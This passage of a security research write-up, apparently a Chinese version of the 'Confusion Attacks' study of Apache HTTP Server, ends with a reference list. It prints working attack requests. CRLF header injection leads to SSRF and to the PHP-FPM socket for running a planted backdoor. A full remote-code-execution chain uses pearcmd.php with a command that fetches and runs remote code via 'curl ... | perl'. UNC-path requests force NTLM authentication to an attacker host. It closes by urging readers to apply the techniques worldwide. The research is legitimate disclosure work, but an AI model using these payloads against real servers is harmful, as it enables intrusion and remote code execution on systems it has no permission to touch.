调用 mod_proxy
存取任何协议以及任意网址当然也不在话下,例如:
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:http://example.com/%3f %0d %0a
%0d%0a
另外这也是一个可以完整控制HTTP 请求还有取得所有HTTP 响应的SSRF!稍微可惜的一点是在存取Cloud Metadata 时会被 mod_proxy
会自动加上 X-Forwarded-For
标头导致被EC2 及GCP 的Metadata 保护机制阻挡,否则这会是一个更强大的攻击手法。
然而 mod_proxy
提供了一个更「方便」的功能—— 可以存取本地的Unix Domain Socket!😉
这里展示通过存取PHP-FPM 本地的Unix Domain Socket 去执行位于 /tmp/
下的PHP 后门:
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock |fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a
这个手法理论上还存在着更多的可能性,例如协议走私(在HTTP/HTTPS 协议间走私FastCGI 😏) 或其它易受影响的Local Sockets 等,这都交给有兴趣的人继续研究了。
最后来展示一下如何通过一个常见的CTF 小技巧把这个攻击手法转化成RCE!由于PHP 官方的Docker镜像在建构时引入了PEAR 这套命令列PHP 套件管理工具,通过其中的 Pearcmd.php
作为入口点可以让我们达成更进一步的利用,详细的历史及原理可以参考由Phith0n撰写的Docker PHP LFI 总结文。
这里我们利用在 run-tests
内的Command Injection 来完成整个攻击链,详细的攻击链如下:
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw /x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd .php %0d%0a
%0d%0a
在安全公告或漏洞赏金计划中,CRLF 注入或标头注入被报告为 XSS 是很常见的。虽然这些漏洞有时会引发影响深远的漏洞,例如通过 SSO 进行的帐户接管,但请不要忘记它们也可能导致服务器端 RCE,因为此演示证明了其潜力!
基本上整个Confusion Attacks 系列到这边差不多告一个段落,然而在研究Apache HTTP Server 的过程中还有些值得一提的漏洞因此将它们独立出来。
首先是 apr_filepath_merge()
函数在Windows 的实作允许使用UNC 路径,下面提供两种不同的触发路径让攻击者可以向任意主机发起NTLM 认证:
想要直接通过HTTP 请求触发需要在Httpd 中设置额外的配置,虽然这个配置第一眼看起来有点不现实,但似乎经常与Tomcat ( mod_jk
、 mod_proxy_ajp
) 或是与PATH_INFO一起出现:
AllowEncodedSlashes On
另外由于Httpd 在2.4.49 后重写了核心HTTP 请求解析器逻辑,要在大于此版本的Httpd 上触发漏洞需要再额外加上一个配置:
AllowEncodedSlashes On
MergeSlashes Off
通过两个 %5C
可以使强迫Httpd 向 attacker-server
发起NTLM 认证,实务上也可通过NTLM Relay的方式将此SSRF 转化成RCE!
$ curl http://server/%5C%5Cattacker-server/path/to
Debian/Ubuntu 的Httpd 发行版中预设启用了Type-Map:
AddHandler type-map var
通过上传一个 .var文件
到服务器,将其中URI 字段指定成UNC 路径也可强迫服务器向攻击者发起NTLM 认证,这也是我所提出的第二个 .var
小技巧😉
最后则是当位于 Server Config
或是 VirtualHost
中的 RewriteRule
前缀完全可控时,可以调用到Proxy 以及相关子模块:
RewriteRule ^/broken(.*) $1
通过下列网址可将请求转交给 mod_proxy
处理:
$ curl http://server/brokenproxy:unix:/run/[...]|http://path/to
但如果网管有好好测试,就会发现这样子的规则是不实际的,所以原本只把它当成另外一个漏洞的搭配组合一起回报,没想到这个行为也被当成一个安全边界修复。再随着修补出来后也看到其他研究员把同样行为套用在Windows UNC 上获得另外一个额外的CVE。
最后是关于这份研究的未来的一些展望以及可加强的地方,基本上Confusion Attacks 仍然是一个很有潜力的攻击面,尤其是我这次的研究主要也只专注在两个字段上而已,只要Apache HTTP Server 没有好好从底层进行结构性加强或提供给开发者一个好的开发标准,相信未来还会有更多「混淆」出现!
至于还有哪些方面可以加强呢?其实不同的Httpd 发行版会有不同的配置,因此其它的Unix-Like 系统例如RHEL 家族、BSD 系列,甚至使用到Httpd 的套装软体,它们都有机会出现更多可跳脱的重写规则、更多厉害的Local Gadgets 甚至意料外的符号跳跃等等,就交给有兴趣的人继续吧。
最后由于时程因素,来不及分享更多在实际网站、设备,甚至开源项目上发现并利用的真实案例,不过你应该已经可以想像—— 在真实世界中绝对还藏着千千万万个比想像中还要大量未开采的规则、可绕过的认证,以及隐藏在台面下的CGI,至于如何把这篇里面所讲到的技巧实际应用在全世界上?接下来就是你们的任务了!
维护一个Open Source 项目真的是一件很困难的事,尤其在让使用者方便的同时兼顾旧版本的相容性,稍有不慎可能就会造成整个系统被攻破(例如Httpd 2.4.49 中因为一个路径处理逻辑小改动导致灾难性的CVE-2021-41773),整个开发过程必须要小心翼翼的踩在一堆遗留程序代码以及技术债上。所以如果真的有Apache HTTP Server 的开发者看到这篇文我想说:谢谢你们的贡献!
相关链接:
https://i.blackhat.com/BH-US-24/Presentations/US24-Orange-Confusion-Attacks-Exploiting-Hidden-Semantic-Thursday.pdf
https://www.akamai.com/blog/security-research/2024-august-apache-waf-proactive-collaboration-orange-tsai-devcore
https://devco.re/blog/2024/08/09/confusion-attacks-exploiting-hidden-semantic-ambiguity-in-apache-http-server/#%E6%95%85%E4%BA%8B%E6%98%AF%E5%A6%82%E4%BD%95%E9%96%8B%E5%A7%8B%E7%9A%84
https://httpd.apache.org/security/vulnerabilities_24.html
https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141
https://httpd.apache.org/docs/2.4/rewrite/flags.html
https://github.com/php/php-src/blob/ce51bfac759dedac1537f4d5666dcd33fbc4a281/sapi/fpm/fpm/fpm_main.c#L1044
https://github.com/apache/httpd/blob/c3ad18b7ee32da93eabaae7b94541d3c32264340/modules/mappers/mod_rewrite.c#L4939
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773
https://github.com/orangetw/My-CTF-Web-Challenges?tab=readme-ov-file#ostyle
https://en.hackndo.com/ntlm-relay/
https://httpd.apache.org/docs/2.4/en/mod/core.html#allowencodedslashes
https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html
https://x.com/phithon_xg
https://hub.docker.com/_/php
https://cloud.google.com/compute/docs/metadata/querying-metadata?hl=zh-cn#limitations
https://django-revproxy.readthedocs.io/en/latest/
https://github.com/apache/httpd/blob/2.4.58/modules/http/http_request.c#L800
https://github.com/apache/httpd/blob/2.4.58/modules/generators/mod_cgi.c#L983
https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2
https://datatracker.ietf.org/doc/html/rfc3875
https://github.com/owasp-modsecurity/ModSecurity/issues/2514
https://github.com/apache/httpd/commit/3303dc4f7273e05ea9a80402b33f68cd155c146a
https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf
https://github.com/apache/httpd/blob/2.4.58/server/config.c#L420
https://svn.apache.org/repos/asf/httpd/httpd/branches/1.3.x/src/main/http_config.c
https://httpd.apache.org/docs/current/mod/core.html#options
https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L160
https://github.com/vulhub/vulhub/tree/master/phpunit/CVE-2017-9841
https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165
https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115
https://httpd.apache.org/docs/current/rewrite/remapping.html#rewrite-query